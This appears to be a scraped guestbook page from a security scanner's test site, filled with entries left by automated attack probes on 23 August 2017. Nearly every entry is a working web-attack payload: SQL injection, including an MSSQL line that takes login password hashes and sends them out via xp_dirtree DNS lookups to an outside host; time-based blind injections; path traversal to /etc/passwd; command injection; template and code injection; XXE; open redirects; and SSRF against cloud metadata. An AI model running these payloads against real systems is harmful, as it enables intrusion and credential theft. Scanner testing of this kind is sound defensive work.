\r\n

\r\n \r\n

\r\n
\r\n

http://169.254.169.254/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;exec('xp_dirtree ''\\\\o010_rdnxu-wapxz4khslionz7htkft8phjf2y_m'+'r2c.r87.me'+'\\c$\\a''')--

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n response.write(268409241-22)'\r\n

\r\n
\r\n

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxujddwymlnhrkmm6nr5biw3wlpvsdly7'+'_gw.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxuoa5y4ljmunt4lqrt5a_ihxuxo5lfhe'+'2jc.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://aws.r87.me/latest/meta-data/public-hostname

\r\n

\r\n 8/23/2017 8:07:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

exec('xp_dirtree ''\\\\o010_rdnxupofez4lle7uaifb2pjolpqhlhvakwr'+'au0.r87.me'+'\\c$\\a''')

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah

\r\n

\r\n 8/23/2017 8:07:30 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n http://r87.me/r/?id=o010_rdnxunlqqnb-wh4pfdr6xcbhbs1l7mbdz40kgs\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n //o010_rdnxumzyeg2jmizy9ulgpsrnp3qj7q-92wbphi.r87.me\r\n

\r\n
\r\n

::1/elmah.axd

\r\n

\r\n 8/23/2017 8:07:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/elmah.axd

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n o010_rdnxu6fs205cii4h6twxrrueb6x78mq9mcvhe0.r87.me\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.0.0.1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

::1/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

127.100.11.2/trace.axd

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

54.204.37.212/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxul9hklnexxypyeyuaiuqs3ia7je9ravkyo

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.me/r/?id=o010_rdnxurgpam8tzujbtumegwkkdc6fvw267oylwm

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com/trace.axd

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxugbohtojdn6hayvvw3i1q1w1-323odja3y.r87.me

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

https://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//o010_rdnxubkktim9opehzsbyouvagdoce2diynegna.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxullmel2s_uzeaetww76tid6qsfrdpkiivi.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

testsparker.com.r87.com/?

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxu2syv-e7387wz5qeblecfvbiz3hnfsmhp4.r87.me

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:07:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

///r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/\\r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:21 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n ]>&lfi;\r\n

\r\n
\r\n

r87.com/?https://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

]>&lfi;

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?http://testsparker.com/

\r\n

\r\n 8/23/2017 8:07:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:16 AM\r\n

\r\n

\r\n #{28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n ${28275*28275-(13)}\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n http://example.com/?\r\nns: netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/?testsparker.com/

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:14 AM\r\n

\r\n

\r\n ns:netsparker056650=vuln\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

#{28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

${28275*28275-(13)}

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:10 AM\r\n

\r\n

\r\n r87.com/n\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:05 AM\r\n

\r\n

\r\n php://filter//resource=http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:04 AM\r\n

\r\n

\r\n http://r87.com/n?.aspx\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n http://r87.com/n?\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n hTTp://r87.com/n\r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://example.com/?\r\nns: netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns:netsparker056650=vuln

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print localtime()*0+0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:07:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print localtime()*0+0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"\r\n

\r\n
\r\n

eval('print localtime()*0+0xFFF9999-22')

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print localtime()*0+0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[php]print(int)0xFFF9999-22;[/php]

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'{${print(int)0xFFF9999-22}}'

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

{php}print(int)0xFFF9999-22;{/php}

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+print(int)0xFFF9999-22+\"

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+print(int)0xFFF9999-22+'

\r\n

\r\n 8/23/2017 8:06:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+print(int)0xFFF9999-22;//

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22;

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx\u0000

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

print(int)0xFFF9999-22

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

r87.com/n

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Guestbook.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

data:;base64,TlM3NzU0NTYxNDQ2NTc1

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?.aspx

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<% response.write(268409241-22) %>

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+response.write(268409241-22)+\"

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

response.write(268409241-22)'

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

....//....//....//....//....//....//....//....//....//....//....//etc/passwd

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://r87.com/n?\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd\u0000

\r\n

\r\n 8/23/2017 8:06:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'\r\n

\r\n
\r\n

hTTp://r87.com/n

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:///etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../../etc/passwd

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n ((SELECT 1 FROM (SELECT SLEEP(25))A))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n |expr${IFS}268409241${IFS}-${IFS}2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n 1));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n '));SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n expr 268409241 - 2\r\n

\r\n
\r\n

/../../../../../../../../../../proc/version

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:50 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n expr 268409241 - 2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ping -n 25 127.0.0.1\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n ');SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../var/log/apache2/error.log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error_log

\r\n

\r\n 8/23/2017 8:06:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n 1);SELECT pg_sleep(25)--\r\n

\r\n
\r\n

/../../../../../../../../../../etc/httpd/logs/error.log

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

/../../../../../../../../../../proc/self/fd/2\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n 1;SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n &ping -c 25 127.0.0.1 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n ';SELECT pg_sleep(25)--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:47 AM\r\n

\r\n

\r\n '&ping -c 25 127.0.0.1 &'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:46 AM\r\n

\r\n

